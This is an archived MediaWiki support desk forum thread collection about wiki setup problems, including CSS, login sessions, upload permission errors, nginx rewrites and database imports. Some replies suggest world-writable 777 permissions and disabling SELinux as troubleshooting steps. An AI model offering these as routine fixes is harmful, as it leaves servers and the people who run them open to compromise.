
Can't get "Main Page" off of my starting page.

My subject says it all. There is this "Main Page" header that I can't edit, which is really annoying. I want to take that off and put something in its place. How do I do that?

Thanks I know I am really nooby at this, but I just started.

Thank you. 71.10.173.151 01:56, 14 January 2015 (UTC)

If you just want to hide it, that can be done with CSS. Add the following to your MediaWiki:Common.css:
.action-view.page-Main_Page .firstHeading {
    display: none !important;
}
If you want to just change the text entirely, see Help:Magic words#Displaytitle. Legoktm (talk) 03:18, 14 January 2015 (UTC)
I wouldn't know where to start with that. I was able to use mozialla's built in web developer tools to look at the HTML coding, which I have some experience with. I figured out where to make the changes, and the changes appear after you type in the changes. However, when I go to refresh the webpage, the old code comes back. How do I push my changes to the server so that my changes stick? 71.10.173.151 05:08, 14 January 2015 (UTC)
I think you refer to the hide-part in Legoktm's post? You need to edit the page "MediaWiki:Common.css" and add the css content into it. See: Manual:Interface/Stylesheets Florianschmidtwelzow (talk) 08:44, 14 January 2015 (UTC)

Plainlist

I try to get the Plainlist thingy from Wikipedia going, but what I get is lists with bullets ... What would be the error?

I have created a template with this content:


<div class="plainlist {{{class|}}}" {{#if:{{{style|}}}{{{indent|}}}|style="{{#if:{{{indent|}}}|margin-left: {{#expr:{{{indent}}}*1.6}}em;}} {{{style|}}}"}}>{{#if:{{{1|}}}| {{{1}}} </div>}}

and I call the template on a different site and supposedly it is even used ... but the result is not as expected. Any explanation. https://en.wikipedia.org/wiki/Template:Plainlist Temptuousinsolence (talk) 11:08, 14 January 2015 (UTC)

Hi,
you need to add the .plainlist class of https://en.wikipedia.org/wiki/MediaWiki:Common.css to your own MediaWiki:Common.css :) (Just search for ".plainlist"). Florianschmidtwelzow (talk) 14:21, 14 January 2015 (UTC)
I did this back then, but I had not been able to access it. Temptuousinsolence (talk) 16:22, 14 January 2015 (UTC)

Special Pages is Blank and PHP error log blames skin template

Mediawiki version 1.24 PHP 5.4 mysql 5.6.22

My special pages is blank (no header etc)

The error log outputs one of two different lines

[14-Jan-2015 11:37:55 UTC] PHP Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to allocate 49152 bytes) in /home/XXXXX/public_html/includes/skins/SkinTemplate.php on line 1347 [14-Jan-2015 11:48:02 UTC] PHP Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to allocate 12288 bytes) in /home/XXXXXXXX/public_html/includes/skins/SkinTemplate.php on line 1587

I have seen similar questions asked elsewhere but no explanation. 93.49.5.126 12:00, 14 January 2015 (UTC)

I have added this is LocalSettings
ini_set( 'memory_limit', '32M' ); 93.49.5.126 12:02, 14 January 2015 (UTC)
Try with something more; 128M should be fine nowadays. 88.130.69.172 12:39, 14 January 2015 (UTC)
Thanks but 128M made no difference.
Also I have inserted
error_reporting( E_ALL );
ini_set( 'display_errors', 1 );
at top of php code and that also outputs nothing.
Error log file still outputs same problem 93.41.108.2 10:07, 15 January 2015 (UTC)
Try disabling all extensions. An infinite loop or recursion could also cause those problems. Ciencia Al Poder (talk) 10:49, 15 January 2015 (UTC)

User Cannot Login

I recently upgraded a wiki (I can't provide a link) from v1.20.2 to v1.24.1. Now certain users are able to login while others cannot. The ones that cannot are presented the need to login page repeatedly (input credentials, hit submit, need to login page returns). I have access to two user accounts, one that can login and one that cannot, and I can test them on the same laptop at the same time.

I turned on all the debugging I could and was able to note the wikiToken and wiki_session values in the browser for each user. I compared these values to the user_token in the database table "users" and I compared these to the session file values. For the both user accounts, the wiki_session and session file name are the same value and change with each login (I assume this is the expected behavior).

For the user account that works, the wikiToken (from the browser), user_token (from the database) and wsloginToken (from the session file) all remain the same for each login/logout. If I don't check the keep me logged in, the wikitoken (from the browser) disappears.

For the user account that doesn't work, wikiToken (from the browser) and the wsloginToken (from the session file) are equal to each other but they change for every login attempt. The user_token (from the database) remains the same and never equal to the other two values.

I assume this is an issue with the session file creation but I have no idea where to look or how to address it.

Thanks Bill MW v1.24.1, PHP v5.5.20, MySQL v5.7.2 Demasb (talk) 13:37, 14 January 2015 (UTC)

Look in the user table and check the case and presence of underscores in the user_name field. Maybe it has underscores or uppercase letters on it that cause it to not be recognized by MediaWiki Ciencia Al Poder (talk) 10:41, 15 January 2015 (UTC)

What is the server directory/file that holds the HTML/CSS code for the website?

I'm trying to make HTML changes to my homepage, but I can't find for the life of me thru all the files on my server, where I make those changes.

Please help. 71.10.173.151 20:38, 14 January 2015 (UTC)

The HTML of the page is generated dynamically, the basic construct of the page is called the skin which you can find in skins/{skinname}/. There should be a Template which you can edit and change like you want.
The CSS is normally not centralized, so that special css rules can come from MediaWiki core, from the skin and others come maybe from extensions. They will be merged into one (better less) big css files and delivered by the ResourceLoader to the client. To change a css element of the skin you can look into the skin folder and find the less/css directory and change your things there. An alternative can be the MediaWiki:Common.css on-wiki page; the css code will load on every pageload.
For more information you can read Manual:Skinning.
If you give further information about what you want to change, maybe we can help better :) Florianschmidtwelzow (talk) 07:50, 15 January 2015 (UTC)
Thank you so much for teaching me about things!
I was the one that posted earlier that there is a "Main Page" that I can't edit thru MediWiki, I have to go on the server backend. He gave me CSS code, which I plan on using, but he didn't tell me where to put it. So I've been struggling trying to figure this out on my own, but I don't know what to do.
Thank you so much for your help. 71.10.173.151 18:17, 15 January 2015 (UTC)
Hi :) I think you mean Project:Support desk/Flow/2015/01#c-71.10.173.151-2015-01-14T01:56:00.000Z-Can't_get_"Main_Page"_off_of_my_starting_page.??? If yes, just open MediaWiki:Common.css on your wiki (like every other page), click edit and insert the css code legoktm posted. Save the page -> that's all :) Florianschmidtwelzow (talk) 23:01, 15 January 2015 (UTC)
Just for reference, a manual page about places to add custom CSS is at Manual:Interface/Stylesheets Ciencia Al Poder (talk) 10:43, 16 January 2015 (UTC)
Hey it's me again. First I want to say thank you so much for your help. I'm obviously really new to this, in over my head, and you are showing that the community is a great community to get help from.
But I need your help once again. If I use the code provided in that post (and yes that is the right post) it works in taking away the text. But I want to put text in instead of "Main Page". So I altered the code. Where there is "none" I put Gaming Database Online, Gaming_Database_Online, and "Gaming Database Online" and nothing worked. It just went back to main page.
I first thought I had to edit the CSS, PHP, among other things on the server back end. So for example, from what I can tell, Localsettings.php is edited on the server end and then pushed to the server. It interests me a lot that I can do some of these changes thru the wiki. Is CSS the only thing I can do thru the wiki? Could I set my logo path thru the wiki, or do I have to go to Localsettings.php and modify it on the server end?
Sorry for all of this, but I am a complete noob. I kind of went in over my head, I thought I could figure things out, but some things are not explained in the Mediawiki wiki page. So for example, it tells you about Mediawiki:common.css but it doesn't tell someone completely new how to access it! You did, and I thank you for it.
So once again, I need you to rescue me from my noobiness.  :) Thank you. 71.10.173.151 18:51, 16 January 2015 (UTC)
If you want it to say something else, just move the page. 137.147.80.84 04:35, 17 January 2015 (UTC)
About the logo, you can upload your logo through the Special:Upload page (there's a convention to name the logo "Wiki.png"). Then, set in LocalSettings.php the logo URL to the uploaded file. Then, whenever you upload a new version of the logo, it will be updated without the need to change LocalSettings.php again. Ciencia Al Poder (talk) 14:00, 17 January 2015 (UTC)
I would not do that: The only advantage you have by uploading the logo through MediaWiki is that you can easily replace it with a changed version. But how often does that happen? On the other hand you have the danger that one day you come back to your wiki and some jerk has overwritten your logo with some junk, which now comes up on every of your wiki's pages. You could now protect the logo file to prevent that, but also that is only a crutch: In order to make use of your logo you will have to change LocalSettings.php and so you will need file system access anyway. But if you have that, then you can also simply upload the image at a safe place. Then you don't have to worry, if it - and maybe only through a bug in MediaWiki - could be manipulated by malicious users. 88.130.89.243 14:51, 17 January 2015 (UTC)

"Failed to retrieve directory listing" error

Just downloaded the new version as of 1/14/2015. When I log in I get "connection timed out failed to retrieve directory listing" a couple of lines before that I got "server does not support non-Ascii characters" My ISP - Godaddy says they can connect to my FTP account. I was able to log in before I installed the update to 3.10.0.1 76.182.76.236 23:11, 14 January 2015 (UTC)

Hi!
I think you are wrong here:
Which software are you talking about? There is no MediaWiki version from January 14th, except the development version, which you are not the target group of. The current version 1.24.1 - a version 3.10.0.1 has never been released. Furthermore, the fact whether MediaWiki is available on a webspace or not, does not influence the function of FTP accounts. 88.130.72.161 00:02, 15 January 2015 (UTC)

Can't see what i publish

Hello, My configuration is : Mediawiki 1.21.2 phpmyadmin 4.0.10.6 Actually, I have a problem with my media wiki, i can't see what i published. But in the modification, i see all. I don't understand why. So i wanted to upgrade to 1.24 but when the upgrade begun, it the same, the intructions don't appear. You can visit the site to this address : espace-client-gismartware.com/mw/index.php?title=Accueil Thanks for help. GiSmartware Gismartware (talk) 08:23, 15 January 2015 (UTC)

See Manual:Errors and symptoms#All pages have no content, but when editing a page the wiki text is there
Recent versions of MediaWiki shouldn't have this problem, though.
Your wiki requires login to see contents. Set up a debug log as explained in Manual:How to debug and look for any warning or error condition Ciencia Al Poder (talk) 10:44, 15 January 2015 (UTC)

Can mediawiki draw flowcharts with embedded links?

Is there an extension that can draw flowcharts with clickable links embedded? E.g. if the user provides PlantUML - style code Source - Target: [[Page_for_relation relation]] then a box marked Source will be drawn with a line going to a box marked Target, and the line will be marked with a link showing "relation". The text "relation" will be a clickable link which links to a page titled Page_for_relation?

I've tried to install the extension Flowchartwiki but I don't think I have enough permissions to install the required graphviz software on the webhost. OwenKS (talk) 09:00, 15 January 2015 (UTC)

Failed to set the local repo temp zone container to be private

Setting up internal property indices ...
   ... space for internal properties already allocated.
   ... writing entries for internal properties ... done.
Internal properties initialized successfully.
...site_stats is populated...done.
...Update 'populate rev_len and ar_len' already logged as completed.
...Update 'populate rev_sha1' already logged as completed.
...img_sha1 column of image table already populated.
...protocol-relative URLs in externallinks table already fixed.
...fa_sha1 column of filearchive table already populated.
...*_from_namespace column of backlink tables already populated.
Failed to set the local repo temp zone container to be private.
Purging caches...done.

Why do I get this error: Failed to set the local repo temp zone container to be private

It is from here, but I failt to get the direction or file that is supposed to create the problem. Temptuousinsolence (talk) 09:28, 15 January 2015 (UTC)

I have exactly the same error message when running update.php.
any results on your efforts.
mail to: jfoster81747@gmail.com Jfoster81747 (talk) 14:05, 20 June 2015 (UTC)
Basically, MediaWiki does a check on the temp/ folder inside your zone container. Usually that is the folder images/temp/. Inside that folder, MediaWiki might store sensitive data. That is why this folder should be protected by an .htaccess file. At the point where you get this error message, MediaWiki failed to create this file.
The .htaccess file, which should be created, contains two things: It disallows access to the folder (DENY) and it disallows displaying the Directory Listing.
Maybe someone can look up, what the content of this file should be! I guess the easiest solution might then be to manually create this file. 88.130.116.214 15:31, 20 June 2015 (UTC)
it creates an .htaccess with only this line:
Deny from all
Note that it will create it using the user account running the upgrade script. If you're running the web updater, the error shouldn't happen, and if it does, then the web server doesn't have permissions to write to that folder (which may result in errors when you upload a file). If you're running the update.php maintenance script, then it may fail because of the same (permissions for webserver, not for the user running the script). Ciencia Al Poder (talk) 17:26, 21 June 2015 (UTC)

Portals

Hi, I'm using the last version of mediawiki with a MariaDb. I'm triying to create a portal using templates as shown in the manual instructions. I've added the Namespace to localsettings.php and then created a new page and put into the code Portal:Topic. Then I click in this link and I've pasted {{subst:box portal skeleton}}. The following step is to add a template but I'm blocked on it. Could you help me?

Thanks in advance Jjimenezs (talk) 14:30, 15 January 2015 (UTC)

Just for reference to others, you're following the Portals manual.
To understand what templates are and how to use them, see Help:Templates. Basically, {{subst:box portal skeleton}} tells MediaWiki to substitute it with the contents of [[Template:box portal skeleton]]. But the page [[Template:box portal skeleton]] must exist on your wiki beforehand!
You may need to copy that template from wikipedia, and other required templates for having it working. Ciencia Al Poder (talk) 10:41, 16 January 2015 (UTC)

Can no longer upload files

I really need help here. I've had mediawiki install for almost a year. All is good, but today, image uploading stopped working. When I hit submit, I get this at the top of the page: Warning: wfMkdirParents: failed to mkdir "D:\Hosting\10143616\html\wiki\images\f\fb" mode 0777 in D:\Hosting\10143616\html\wiki\includes\GlobalFunctions.php on line 2582

And I get this upload warning: Could not create directory "mwstore://local-backend/local-public/f/fb".

Here's my version info: MediaWiki 1.21.1 PHP 5.3.6 (cgi-fcgi) MySQL 5.0.96-log

I'm hosted in a shared account on godaddy.com. The server is Windows. I need help diagnosing and solving this problem. Thanks! Jenkins1967 (talk) 00:09, 16 January 2015 (UTC)

 if ( !$ok ) {
                //directory may have been created on another request since we last checked
                if ( is_dir( $dir ) ) {
                        return true;
                }
                // PHP doesn't report the path in its warning message, so add our own to aid in diagnosis.
                wfLogWarning( sprintf( "failed to mkdir \"%s\" mode 0%o", $dir, $mode ) );
        }
This indicates that MW attempts to create a folder that already exists. Could you check this, please? Temptuousinsolence (talk) 08:57, 16 January 2015 (UTC)
The wfLogWarning is outside the if ( is_dir( $dir ) ) {, so the directory doesn't exist, but it failed to create it.
The problem may be permissions on the parent directory (maybe if you imported images somehow, or did any permission change in the directory structure).
Alternatively, try creating the folder manually, to see if you ran into some resource limit on the server (like a maximum allowed number of folders/files, etc) Ciencia Al Poder (talk) 10:49, 16 January 2015 (UTC)
Before this problem, I changed absolutly nothing. Of course, that doesn't mean that godaddy didn't somehow. In an attempt to fix the problem, I did chmod 777 on the entire wiki folder. Still nothing.
Through FTP, I am able to create a directory within the images directory without issue. Jenkins1967 (talk) 12:41, 16 January 2015 (UTC)
I attempted another upload. The directory that it tried to make was \0\06. It failed and it does not exist. 167.15.253.4 12:38, 16 January 2015 (UTC)
Do you have log files that you can check for errors? Temptuousinsolence (talk) 13:18, 16 January 2015 (UTC)
I'm a newb. How do I do that? 173.61.230.21 02:31, 17 January 2015 (UTC)
Manual:How to debug#Setting up a debug log file Ciencia Al Poder (talk) 14:05, 17 January 2015 (UTC)

Cannot upload Image

I've installed Mediawiki v1.24.1 on my server which is running RHEL7. I've installed it under /var/www/foohelp/wiki. However, when I try to upload a file, I get the following error:

[f3eae72a] /foohelp/wiki/index.php/Special:Upload Exception from line 1871 of /var/www/foohelp/mediawiki-1.24.1/includes/filerepo/file/LocalFile.php: Could not acquire lock for 'User-default.png.' Backtrace:

  1. 0 /var/www/foohelp/mediawiki-1.24.1/includes/filerepo/file/LocalFile.php(1174): LocalFile->lock()
  2. 1 /var/www/foohelp/mediawiki-1.24.1/includes/upload/UploadBase.php(738): LocalFile->upload(string, string, string, integer, array, boolean, User)
  3. 2 /var/www/foohelp/mediawiki-1.24.1/includes/specials/SpecialUpload.php(467): UploadBase->performUpload(string, string, boolean, User)
  4. 3 /var/www/foohelp/mediawiki-1.24.1/includes/specials/SpecialUpload.php(186): SpecialUpload->processUpload()
  5. 4 /var/www/foohelp/mediawiki-1.24.1/includes/specialpage/SpecialPage.php(363): SpecialUpload->execute(NULL)
  6. 5 /var/www/foohelp/mediawiki-1.24.1/includes/specialpage/SpecialPageFactory.php(584): SpecialPage->run(NULL)
  7. 6 /var/www/foohelp/mediawiki-1.24.1/includes/MediaWiki.php(275): SpecialPageFactory::executePath(Title, RequestContext)
  8. 7 /var/www/foohelp/mediawiki-1.24.1/includes/MediaWiki.php(584): MediaWiki->performRequest()
  9. 8 /var/www/foohelp/mediawiki-1.24.1/includes/MediaWiki.php(435): MediaWiki->main()
  10. 9 /var/www/foohelp/mediawiki-1.24.1/index.php(46): MediaWiki->run()
  11. 10 {main}

If I edit /includes/filebackend/FileBackendGroup.php and modify LockManager to

'lockManager' => 'fsLockManager', and modify permissions as follows:

chown -R apache:apache images/ chown -R 755 images/ I get the following error:

(Could not create directory "mwstore://local-backend/local-public) Any help would be appreciated. Vprashant1 (talk) 02:49, 16 January 2015 (UTC)

755 might not be enough. Either you use 777 or set up a special enviroment with ACL instead of UID and GID. We had the same problem yesterday and solved it with a set of ACLs for our system. We are not yet satisfied with the outcome but the system appears to be running as it should.
Personally, I would recommend ACL, because it is better able to handle the various rights issues. Temptuousinsolence (talk) 08:49, 16 January 2015 (UTC)
That's true. But I'd like to set up this wiki such that any user can access it, but certain users across the globe can edit it if they are editors without necessarily giving them access to the server and setting up permissions.
(I am a little new to this, so I apologize if I did not follow your point correctly. An example or a link would really help). Vprashant1 (talk) 19:40, 18 January 2015 (UTC)
You misunderstood it. In order to setup the Wiki secure and sound you can either use the normal UID and GID settings or this:
https://doc.opensuse.org/documentation/html/openSUSE_121/opensuse-security/cha.security.acls.html
This has nothing to do with what you have pointed towards. A normal user does not have any access on the server, but deals with the Wiki and the content thereon. Yet, in order to handle the aspect of a save server, the settings, especially when there are more than one user, needs to be dealt with carefully.
To give the apache access to the images folder has its downsites as does a 777 on the folder. Especially when there are more than one user on a server. That is where the ACLs come into play.
But as you are new to this "universe", you may want to start with a 777 on the images folder and set up stricter restrictions over time, with more experience and a better understanding on how things are and how things work. Temptuousinsolence (talk) 09:34, 19 January 2015 (UTC)
I tried 777 on the images folder. I get the same error. Vprashant1 (talk) 02:49, 27 January 2015 (UTC)
Try disabling SELinux to see if SELinux is the problem. If this solves the problem, either keep SELinux disabled or configure it properly.
Also, you could also setup a debug log to see exactly what physical directory is trying to create (instead of a nonsensical mwstore://local-backend/local-public) to check if this is the expected location of your images folder or you mistyped something. Ciencia Al Poder (talk) 10:31, 27 January 2015 (UTC)
deleting SE does not solve problem too ... Full permissions is set on wiki base dir. I have not found solution of this problem. Everything is ok on Windows. 87.229.231.234 14:29, 14 April 2015 (UTC)
I also can not upload images?!?!
Would this also explain some of the broken 'existing' image links do not work and now can't find the images?
Error creating thumbnail: Unable to save thumbnail to destination
Error creating thumbnail: Unable to save thumbnail to destination Woiow (talk) 11:10, 20 May 2015 (UTC)
Yes, that would explain it. Check what has been said already on this thread. Ciencia Al Poder (talk) 19:25, 20 May 2015 (UTC)

Force page add to users Watchlist

Dear all.

Does anyone know of a way to add a certain page to all users Wathclist? I have a page where major changes are beeing noted - mutch like a changelog. I would like to force this page onto everyones Watchlist. Is it possible?

Regards Pompelpilt (talk) 08:59, 16 January 2015 (UTC)

You could run an according SQL query on the database table watchlist and insert the two(!) pages (normale page and talk page) for each user. This might however fail in the case of a user, who already watches the page. The easiest solution for this problem might be to check wl_namespace and wl_title in order to remove the two pages from every user and then in a second step to add them to all users (which then will not fail). 88.130.124.129 12:02, 16 January 2015 (UTC)
I see. All throught the database. Sounds a bit risky. I have some basic knowlege about SQL, but I don't think I'll go down that road quite yet. I'll keep it in mind and test in a VMWare copy some day. Thanks you for your reply. Pompelpilt (talk) 22:48, 16 January 2015 (UTC)
Sounds like you'd be better off just putting up a site notice. Do you really need to force your users to watch a page? 137.147.80.84 12:20, 18 January 2015 (UTC)
'Site notice' was new to me. I briefly googled it. It seems like that could serve my purpose. I just want my inform my users of important changes and only thought of e-mail. Thanx Mr/Miss 137.147.80.84.
I just love MediaWiki. It amazes me how much extensions and functionality there are available. Pompelpilt (talk) 20:59, 18 January 2015 (UTC)

Paragraph numbering and TOC

We're using MediaWiki to host our internal company policies, and need to be able to create pages with the following layout:

1 Subject One
1.1 Paragraph one text here
1.2 Paragraph two text here
2 Subject Two
2.1 Paragraph one here
2.2 Paragraph two here

I know I can do it with the normal list structure (using # and ## etc.), but I need the top-level list items to be section headings so the Table of Contents can be generated. If I use == for the section headings the list items within each section always start at 1.1 again. Is there any way to do achieve what I'm after? 81.130.232.89 13:52, 16 January 2015 (UTC)

I first thought it might be possible to solve this by using the enumeration item "#" inside the headline while hiding or disabling the automatic headline enumeration, but "#" in headlines are just rendered as "#" signs. Next I checked, whether a starting value for the different enumerations might help, but Help:Lists#Specifying_a_starting_value suggests that you have to use HTML syntax, if you want that.
<ol start="1">
<li><h1>Item 1</h1></li>
</ol>
<ol start="3">
<li><h1>Item 3</h1><ol>
<li>Amsterdam</li>
<li>Rotterdam</li>
<li>The Hague</li>
</ol>
</li>
</ol>
So basically that would be what I would try... 88.130.124.129 15:03, 16 January 2015 (UTC)

need a retired version of mediawiki

last year our wiki was hacked. It had sat unused for a couple of years when someone found a way in and flooded it with spam. The only way to stop the flood was to delete the folder from our server.

I have the database but can't successfully integrate it with the three most recent releases.

Two of the tables in the saved database are blobs and brokenlinks.

Does anyone know what was the most recent version of mediawiki that used these tables? Does anyone know where I can download a copy of the installation files?

thanks, david 67.248.251.75 16:44, 16 January 2015 (UTC)

Hi!
Have a look at DB - these tables have last been used in MediaWiki 1.4. But they also never were deleted. The mere presence of these tables only means that the wiki had initially been created with a MediaWiki version, which used these tables. It does not mean that this also was the last MediaWiki version, which was used with this database. E.g. if you set up an installation with MediaWiki 1.4 and then upgraded it to MediaWiki 1.23, then this will be the last version you used the database with - but the old tables will still be there.
Basically I would just download the sourcecode from releases.wikimedia.org and follow the upgrade guide.
Please note that, if you had files uploaded in your wiki, you will also need these files. Without them, file links will not be working. 88.130.89.243 22:11, 16 January 2015 (UTC)
thanks! 67.248.251.75 22:58, 16 January 2015 (UTC)

How to see a list of all the articles added

How can I see a list of all the articles that are add to my wiki?

Is there code I can put in my reference page. 184.164.106.167 19:59, 16 January 2015 (UTC)

Try the page called "Special:AllPages". Jackmcbarn (talk) 02:16, 17 January 2015 (UTC)

Phabricator down?

Reported on c:Commons:Village_pump#Something_wrong_with_the_UploadWizard.3F, phabricator:T87062 triggers a login prompt. Be..anyone (talk) 14:58, 17 January 2015 (UTC)

It is not down, see e.g. the still unsolved https://phabricator.wikimedia.org/T78159
But I see the login prompt at T87062 as well. I also remember seeing this problem with other issues as well. Is that a configuration problem with Phabricator? 88.130.89.243 15:11, 17 January 2015 (UTC)
I am logged in and get an "Access Denied: Restricted Task" message at https://phabricator.wikimedia.org/T87062. Rosenzweig (talk) 15:15, 17 January 2015 (UTC)
It seems, that this task is restricted (e.g. the security property set to "private" or "sensitive/security bug". In this case, only the owner of this task and the members of the security group (iirc) can view this bug. Florianschmidtwelzow (talk) 14:29, 18 January 2015 (UTC)
Makes sense, but a login prompt to indicate this state isn't optimal. For user profiles I got the idea immediately, no account, no access; but security issues are hopefully rare and could be reported as is (= "no access, unclear security state requires triage, try again later.") Be..anyone (talk) 15:49, 18 January 2015 (UTC)
Hmm, how exactly do you get a login screen? When I am logged into Phabricator and try to access https://phabricator.wikimedia.org/T87062 , I get "Access Denied: Restricted Task - You do not have permission to view this object." but not a login screen. AKlapper (WMF) (talk) 16:12, 18 January 2015 (UTC)
Plus Phabricator/Help is a better place to discuss Phabricator, I'd say. :) AKlapper (WMF) (talk) 16:12, 18 January 2015 (UTC)
Unfortunately it's not possible to move a LQT-thread to flow :( Florianschmidtwelzow (talk) 16:18, 18 January 2015 (UTC)
You're questioning why you don't see a login screen when you're logged in? Obviously the login screen is shown when you're not logged in. 137.147.80.84 05:08, 19 January 2015 (UTC)
Without account (incl. "anonymous" users) it is a login prompt, quite annoying from a {{tracked|T87062}} posted on a village pump. I guess it's the same feature not allowing me to visit Phabricator user profiles (for privacy instead of security reasons.) Be..anyone (talk) 09:14, 22 January 2015 (UTC)
It's hardly "down" if it still shows a login screen. :P
Florian is pretty much right; see mw:Phabricator/Security for the full documentation and info. AKlapper (WMF) (talk) 16:03, 18 January 2015 (UTC)
{{=P}} is understood ;-) Be..anyone (talk) 16:13, 18 January 2015 (UTC)

[Solved] Migrate nginx error 404

Hello,

i have dump sql and import to new server.

New server: nginx -v (with fcgiwrap)

  • nginx version: nginx/1.6.2

php -v

  • PHP 5.4.36-1~dotdeb.1 (cli) (built: Dec 19 2014 23:01:37)
  • Zend Engine v2.4.0, Copyright (c) 1998-2014 Zend Technologies

mysql -V

  • mysql Ver 14.14 Distrib 5.5.40, for debian-linux-gnu (x86_64) using readline 6.2

LocalSettings.php (old):

   ##$wgScriptPath = "/wiki";
   $wgScriptExtension = ".php";
   $wgArticlePath = "$wgScriptPath/$1";
   $wgUsePathInfo = true;
   ## The protocol and server name to use in fully-qualified URLs
   $wgServer = "http://l4d2-funs.myriapulse.com";


LocalSettings.php (new):

   $wgScriptPath = "";
   $wgScriptExtension = ".php";
   $wgArticlePath = "$1";
   $wgUsePathInfo = true;
   ## The protocol and server name to use in fully-qualified URLs
   $wgServer = "http://ip_vps";

I have tested multiple configuration but same...

virtualhost:

    server {
        listen 80;

        root /usr/share/nginx/html/wiki;
        index index.html index.htm index.php;

        # Make site accessible from http://localhost/
        server_name localhost;

        #error_page 404 /404.html;

        #error_page 500 502 503 504 /50x.html;
        #location = /50x.html {
        #       root /usr/share/nginx/html;
        #}
        # Here, multiple test and same results...
        location /wiki/ {
                #try_files $uri $uri/ @rewrite;
                #try_files $uri $uri/ @wiki;
                try_files $uri $uri/ /index.php?$args;
        }

        # Don't log robots.txt or favicon.ico files
        location = /favicon.ico { log_not_found off; access_log off; }
        location = /robots.txt  { allow all; access_log off; log_not_found off; }

        location ~ \.php$ {
                fastcgi_split_path_info ^(.+\.php)(/.+)$;
#               fastcgi_intercept_errors on;
#               try_files $uri = 404;
                fastcgi_pass 127.0.0.1:9000;
                fastcgi_param  SCRIPT_FILENAME $document_root$fastcgi_script_name;
                fastcgi_index index.php;
                include fastcgi_params;
        }

        location ~ /\.ht {
                deny all;
        }

        location @rewrite {
                rewrite ^/(.*)$ /index.php?title=$1&$args;
        }

        location /maintenance/ {
                return 403;
        }

        location ~* \.(js|css|png|jpg|jpeg|gif|ico)$ {
                try_files $uri /index.php;
                expires max;
                log_not_found off;
        }

        location = /_.gif {
                expires max;
                empty_gif;
        }

        location ^~ /cache/ {
                deny all;
        }

        location /dumps {
                root /usr/share/nginx/html/wiki/local;
                autoindex on;
        }
}


what is wrong please?

Cheers, Owned67 (talk) 17:10, 17 January 2015 (UTC)

$wgArticlePath should probably be "/wiki/$1".
You should also try the configuration provided by http://shorturls.redwerks.org/ Ciencia Al Poder (talk) 10:35, 19 January 2015 (UTC)
Thanks, solved Owned67 (talk) 18:54, 30 January 2015 (UTC)

Wikimania 2009 api problem.

Hi it seems the API on wikimania 2009 is to working wikidapriary is showing it as running MediaWiki 1.24wmf8 where it is actually running 1.25 wmf 14 and the API looks worng on it compare Wikipedia en api to wikimania 2009 api and you will see a difference please see wikimania api at http://wikimania2009.wikimedia.org/w/api.php 86.173.52.112 12:41, 18 January 2015 (UTC)

If it shows 1.24wmf8 somewhere you should provide steps how to see that. And how is that related to MediaWiki? Furthermore, please consider taking a look at https://en.wikipedia.org/wiki/Punctuation before your next posting. Malyacko (talk) 16:09, 18 January 2015 (UTC)

Norwegian site shows wrong day/date on this day (I dag)

Norwegian site shows wrong day/date on this day (I dag) 88.91.22.101 07:53, 19 January 2015 (UTC)

Which norwegian site? Link that shows the problem is welcome... AKlapper (WMF) (talk) 00:10, 21 January 2015 (UTC)

General setup advice needed

Hi, I plan to open up a site halfway between wiki and blogging, possibly using MediaWiki.
My current problem is to determine if this is the correct platform to use and, if this proves to be the case, what extensions I should include.

Here is a provisional list of what I need to do:

  • Content will be highly organized, like a book or a manual; I'm not writing independent entries.
  • Content will be mostly text, with a few pictures and with heavy usage of lists/tables.
  • Chapters may not be written in sequence, but should appear in logical order, possibly with a TOC-like menu on the left hand. It should be possible to insert a new entry in any point of TOC, not just at the end; hyerarchical TOC would be a "nice to have".
  • Content will have a large amount of hyperlinks either to short footnotes (e.g.: bibliograpic notes) or more sizeable pages (either in the regular flow as detailed in TOC or standalone).
  • Content shouldn't be directly modifiable by readers (it's not really a wiki; I will be personally responsible of what gets into "Content").
  • Commenting, either global or on single sections, is encouraged and I plan to respond to most (all?) comments.
  • Reading of all pages (Content and Comment) should be open, but I would like to forche whoever whishes to leave comments to register (mainly as a deterrent to spam).
  • Comments should be somewhat separate from entry, possibly in a "Discussion" page attached to entry itself (something similar to Wikipedia setup).
  • In case I decide to edit entry in response to some user comment there should be a way to link the relevant part to the comment thread.
  • There will be a fair amount of bibliograhic and explanatory footnotes (in the style of academic papers).
  • It should be possible to navigate sections either using the TOC menu or simply via [Next]/[Prev] buttons (beside the normal internal hyperlinking).

I assume all this can be done, but it's unclear to me if I'm straining boundaries of the tool and I'd be better off chosing something different (e.g.: WordPress).
I would like to use some ready-to-go solution; I installed the basic package, but then I got lost in the sheer amount of customization available.
I need some guidance before i spend too much time running in circles.
Can someone point me in the right direction, please? MCondarelli (talk) 12:30, 19 January 2015 (UTC)

Just go for it ... really. Why do you want to rely on the opinion of others if it is your own opinion and you own satisfaction that needs to be met. You need to work with this tool, so you need to be able to maintain and to handle it. Just give it a try and experiment a bit. I would advise you that you use a broader scope of CMS's that just MW or WP. There are far more.
Make a list of the requirments that you want to see met and compare those systems that you have used by adding scores or comments to it. Create examples texts and see how well these are displayed in the various enviroments ... make stuff like this. Temptuousinsolence (talk) 08:55, 20 January 2015 (UTC)

[RESOLVED] HowTo? Import list of Export'ed Categories? Possible?

Summary: I'm attempting to use Export from a possibly corrupted wiki, and Import into a starting-over-from-scratch wiki. It's no doubt operator error, but Import of Categories fails. Import works fine with Templates, and seems to work fine with Files that have underscores in their filename (my bad?).

My under construction 1.21.1 wiki: canprint.org/wiki with immature LocalSettings.php so $wgLogo and other formatting flawed
(and semi-offline canprint.org/11_wiki11_1165/index.php?title=Special:Version that may be corrupted)
Hosted by: GoDaddy with Linux server (Apache?) ... I'm ignorant about SSH and super rusty with Linux
PHP: 5.3.24 (cgi-fcgi) MySQL: 5.0.96-log
Note that GoDaddy makes MW connected to MySQL relatively simple for up to ver 1.21.1 but I'm stumped on how to upgrade to ver 1.24.1, but that's also another issue for now

More info: My approach of Export then Import is almost certainly a less than optimal hold-your-nose work-around. Guidance to "correct the error of my ways" appreciated.

I am able to Export and then Import existing Pages, Files, and Templates. However, this MW semi-newbie hasn't been able to figure out how to Export Categories so they will subsequently Import. Therefore, the starting-over wiki is missing 50+ categories.
http://www.canprint.org/wiki/index.php?title=Special:WantedCategories&limit=100&offset=0 (not sure if this Special page will show up for a non-user)

I haven't tested if Export from a small 1.21.1 wiki with a few categories will Import to another small 1.21.1 wiki.

MTYEWTK? Sorry
Below is a partial list of the Exported pages / files / templates / categories from the possibly corrupted 1.16.5 version. My speculation is that the Categories is expecting a different Prefix than my guess. I'm hoping to avoid copy/paste of the contents 50+ categories, if possible.

